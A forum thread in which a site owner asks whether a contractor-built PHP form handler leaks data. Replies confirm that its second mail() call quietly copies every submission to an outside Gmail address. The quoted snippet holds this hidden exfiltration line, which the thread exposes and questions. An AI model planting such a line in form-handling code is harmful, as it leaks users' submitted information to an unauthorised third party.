is my secure form information being sent to someone else?

by 8 replies
9
I hired someone to modify an online form for me so it could be accessed securely through https: link, information could be submitted and the submitted information would be emailed to me.

After it was completed I went in and looked at the php file that was created and here is what part of the code contained.

*I modified the email and domain names

$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1" . "\r\n";
$headers .= "From: info@mysite.net <info@mysite.net>" . "\r\n";
mail($to1,$subject1,$mailcontent1,$headers);
mail("emailnotmine@gmail.com",$subject1,$mailcontent1,$headers);

Does the last line of code mean the information is being sent to the email address emailnotmine@gmail.com?

Ron
#programming #form #information #secure
  • Hi Ronr,

    That second mail line is definitely sending the same email to the other email address.
  • It sure does.
  • Yes, see PHP: mail - Manual

    Good of you to review the work. Definitely wouldn't be using them again.
    • [1] reply
    • Thanks for the responses.

      Yes I'm glad I checked. I don't know how to program but I do know enough when I see something like this to ask those who do.

      Ron
  • mail("emailnotmine@gmail.com",$subject1,$mailconte nt1,$headers);
    .
    .
    .
    he was trying to betray u .
    • [1] reply
    • When I first discoverd the email I thought maybe he had his email in the script while he was testing and he forgot to remove it.

      But regardless, whether he is dishonest or was just careless, I won't use him again.

      Ron
  • trust people when you know them well. when it's about money..everyone helps your out there ...
  • Why are you bothering with a secure form when you're just going to email the data? That's about the most insecure form of communication there is.

Next Topics on Trending Feed

  • 9

    I hired someone to modify an online form for me so it could be accessed securely through https: link, information could be submitted and the submitted information would be emailed to me. After it was completed I went in and looked at the php file that was created and here is what part of the code contained.